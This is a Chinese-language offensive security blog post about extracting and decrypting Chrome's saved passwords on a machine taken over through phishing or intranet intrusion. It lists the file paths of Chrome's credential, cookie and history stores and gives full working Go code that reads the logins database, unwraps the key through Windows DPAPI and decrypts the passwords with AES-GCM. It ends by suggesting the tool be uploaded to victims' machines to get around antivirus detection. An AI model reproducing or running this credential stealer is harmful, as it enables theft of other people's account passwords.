1、
前言
当我们钓鱼或者进入内网获得一台机器权限的时候,第一步是需要信息搜集的,其中一步就是抓取并解密浏览器密码,虽然后一款非常好用的HackBrowserData工具,
但是用的人多了也就开始被杀了。
这篇文章就是来了解一下如何去解密Chrome浏览器密码的抓取浏览器信息需要以下几个文件,这些文件存储了浏览器的信息,工具抓取也是去获取这些文件里面的信息。
2、
过程
chrome 敏感文件存储位置
-
chrome的登陆账号密码文件Login Data文件存储位置
-
C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Login Data
-
chrome中存储加密key的位置
-
C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Local State
-
chrome的cookie存储的位置:
-
C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Cookies
-
chrome的浏览历史History存储位置:
-
C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\History
-
chrome的收藏的书签存储位置:
-
C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
复制代码
其中Cookies、History、Login Data是SQLite3数据库文件,可以使用sqlitestudio直接打开
Bookmarks是全明文的xml文件
Login Data文件是一个数据库文件,可以直接使用工具连接数据库。当chrome正在使用时,是不可连接的
-
User\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data
复制代码
但是可以复制出来,再次进行连接。其他都是明文,密码字段是加密的
由于数据库使用的是sqlite3,使用golang脚本加载sqlite3库,进行连接,可正常查询数据
-
package main
-
-
-
import (
-
"database/sql"
-
"fmt"
-
"log"
-
"os"
-
-
_ "github.com/mattn/go-sqlite3"
-
)
-
-
-
var (
-
userPath, _ = os.UserHomeDir()
-
//保存的密码存到了logindata数据库sqlite
-
localData string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
-
localState string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
-
temporary string = "D:\\GoProject\\test\\Login Data"
-
)
-
-
-
type chromeDB struct {
-
Origin_url string `json:"origin_url"`
-
Action_url string `json:"action_url"`
-
Username_value string `json:"username_value"`
-
Password_value string `json:"password_value"`
-
}
-
-
-
func sqLite() {
-
var chrome chromeDB
-
db, err := sql.Open("sqlite3", temporary)
-
checkErr(err)
-
sql := "SELECT origin_url,action_url, username_value, password_value FROM logins"
-
// stmt, err := db.Prepare(sql)
-
// checkErr(err)
-
//defer stmt.Close()
-
rows, err := db.Query(sql)
-
checkErr(err)
-
for rows.Next() {
-
err = rows.Scan(&chrome.Origin_url, &chrome.Action_url, &chrome.Username_value, &chrome.Password_value)
-
checkErr(err)
-
fmt.Println(chrome.Action_url)
-
}
-
-
}
-
-
-
func checkErr(err error) {
-
if err != nil {
-
log.Fatal(err)
-
}
-
}
-
-
-
func main() {
-
sqLite()
-
}
复制代码
但是查询的密码是加密的,接下来需要对密码进行解密。
windows下的chrome使用的加密方法是AES加密,需要一个密钥就可以实现解密
在这个目录下的Local State文件存放了解密使用的KEY
user/AppData/Local/Google/Chrome/User Data/Local State
这个文件时json格式的,在encrypted_key参数对应的就是解密需要的key
chrome最新版在密钥加密后数据前缀是V10,在前面截图中可以看到。后12字节的字符才是真正的密文。Chrome使用的是AES-256-GCM的AEAD对称加密,
然后再另一款工具中找到了解密方法(hackBrowserData)。首先获取os_crypt.encrypted_key字段中的数据,然后经过base64解密,再去除首位5个字符DPAPI。
因为原始密钥加密的时候会带上APAPI前缀+base64编码然后存储到json文件
-
func GetMasterKey() ([]byte, error) {
-
keyFile, err := ioutil.ReadFile(temporarykey)
-
if err != nil {
-
return nil, err
-
}
-
defer os.Remove(string(keyFile))
-
encryptedKey := gjson.Get(string(keyFile), "os_crypt.encrypted_key")
-
if encryptedKey.Exists() {
-
pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
-
if err != nil {
-
return nil, errDecodeMasterKeyFailed
-
}
-
//去除首位5个字符DPAPI
-
masterKey, err := DPApi(pureKey[5:])
-
-
-
checkErr(err, "6")
-
-
-
return masterKey, err
-
}
-
return nil, nil
-
}
-
-
-
func DPApi(data []byte) ([]byte, error) {
-
dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
-
dllKernel := syscall.NewLazyDLL("Kernel32.dll")
-
procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
-
procLocalFree := dllKernel.NewProc("LocalFree")
-
var outBlob dataBlob
-
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
-
if r == 0 {
-
return nil, err
-
}
-
defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
-
return outBlob.ToByteArray(), nil
-
}
-
-
-
func NewBlob(d []byte) *dataBlob {
-
if len(d) == 0 {
-
return &dataBlob{}
-
}
-
return &dataBlob{
-
pbData: &d[0],
-
cbData: uint32(len(d)),
-
}
-
}
复制代码
这样就获得了一个key。获得了key之后就使用aesGCMD解密。如下就是解密方法
-
key,err := GetMasterKey()
-
-
-
pass, err := Chromium([]byte(key), []byte(chrome.Password_value))
-
-
-
func Chromium(key, encryptPass []byte) ([]byte, error) {
-
if len(encryptPass) > 15 {
-
// remove Prefix 'v10'
-
return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
-
} else {
-
return nil, errPasswordIsEmpty
-
}
-
}
-
-
-
func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
-
block, err := aes.NewCipher(key)
-
if err != nil {
-
return nil, err
-
}
-
blockMode, err := cipher.NewGCM(block)
-
if err != nil {
-
return nil, err
-
}
-
origData, err := blockMode.Open(nil, nounce, crypted, nil)
-
if err != nil {
-
return nil, err
-
}
-
return origData, nil
-
}
复制代码
有了key可解密方法之后就可以传入数据库中的密码和key进行解密,如下是完整的解密代码。可自行测试,
-
package main
-
-
-
import (
-
"crypto/aes"
-
"crypto/cipher"
-
"database/sql"
-
"encoding/base64"
-
"errors"
-
"fmt"
-
"io/ioutil"
-
"os"
-
"syscall"
-
"unsafe"
-
-
-
_ "github.com/mattn/go-sqlite3"
-
"github.com/tidwall/gjson"
-
)
-
-
-
var (
-
userPath, _ = os.UserHomeDir()
-
//保存的密码存到了logindata数据库sqlite
-
localData string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
-
localState string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
-
//这里是我临时存放这两个文件的目录位置,当然也可以copy到指定目录
-
temporarydb string = "C:\\Users\\admin\\Desktop\\test\\Login Data"
-
temporarykey string = "C:\\Users\\admin\\Desktop\\test\\Local State"
-
)
-
-
-
type chromeDB struct {
-
Origin_url string `json:"origin_url"`
-
Action_url string `json:"action_url"`
-
Username_value string `json:"username_value"`
-
Password_value string `json:"password_value"`
-
}
-
-
-
type dataBlob struct {
-
cbData uint32
-
pbData *byte
-
}
-
-
-
func sqLite() {
-
fmt.Println(localState)
-
var chrome chromeDB
-
db, err := sql.Open("sqlite3", temporarydb)
-
checkErr(err, "1")
-
-
-
sql := "SELECT origin_url,action_url, username_value, password_value FROM logins"
-
rows, err := db.Query(sql)
-
-
-
checkErr(err, "2")
-
for rows.Next() {
-
-
-
err = rows.Scan(&chrome.Origin_url, &chrome.Action_url, &chrome.Username_value, &chrome.Password_value)
-
-
-
checkErr(err, "3")
-
// fmt.Println(chrome.Password_value)
-
key, err := GetMasterKey()
-
-
-
checkErr(err, "4")
-
pass, err := Chromium([]byte(key), []byte(chrome.Password_value))
-
-
-
checkErr(err, "5")
-
fmt.Println(string(pass))
-
}
-
}
-
-
-
var (
-
errPasswordIsEmpty = errors.New("password is empty")
-
errDecodeMasterKeyFailed = errors.New("decode master key failed")
-
)
-
-
-
func Chromium(key, encryptPass []byte) ([]byte, error) {
-
if len(encryptPass) > 15 {
-
// remove Prefix 'v10'
-
return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
-
} else {
-
return nil, errPasswordIsEmpty
-
}
-
}
-
-
-
func GetMasterKey() ([]byte, error) {
-
keyFile, err := ioutil.ReadFile(temporarykey)
-
if err != nil {
-
return nil, err
-
}
-
defer os.Remove(string(keyFile))
-
encryptedKey := gjson.Get(string(keyFile), "os_crypt.encrypted_key")
-
if encryptedKey.Exists() {
-
pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
-
if err != nil {
-
return nil, errDecodeMasterKeyFailed
-
}
-
//去除首位5个字符DPAPI
-
masterKey, err := DPApi(pureKey[5:])
-
-
-
checkErr(err, "6")
-
-
-
return masterKey, err
-
}
-
return nil, nil
-
}
-
-
-
func NewBlob(d []byte) *dataBlob {
-
if len(d) == 0 {
-
return &dataBlob{}
-
}
-
return &dataBlob{
-
pbData: &d[0],
-
cbData: uint32(len(d)),
-
}
-
}
-
-
-
func (b *dataBlob) ToByteArray() []byte {
-
d := make([]byte, b.cbData)
-
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
-
return d
-
}
-
-
-
func DPApi(data []byte) ([]byte, error) {
-
dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
-
dllKernel := syscall.NewLazyDLL("Kernel32.dll")
-
procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
-
procLocalFree := dllKernel.NewProc("LocalFree")
-
var outBlob dataBlob
-
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
-
if r == 0 {
-
return nil, err
-
}
-
defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
-
return outBlob.ToByteArray(), nil
-
}
-
-
-
func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
-
block, err := aes.NewCipher(key)
-
if err != nil {
-
return nil, err
-
}
-
blockMode, err := cipher.NewGCM(block)
-
if err != nil {
-
return nil, err
-
}
-
origData, err := blockMode.Open(nil, nounce, crypted, nil)
-
if err != nil {
-
return nil, err
-
}
-
return origData, nil
-
}
-
-
-
func checkErr(err error, str string) {
-
if err != nil {
-
fmt.Println(err, str)
-
}
-
}
-
-
-
func main() {
-
-
-
sqLite()
-
}
复制代码
如果你不会做免杀,那么就可以单独写一个解密工具,如遇到对方机器只有Chrome的时候,可以上传这个小工具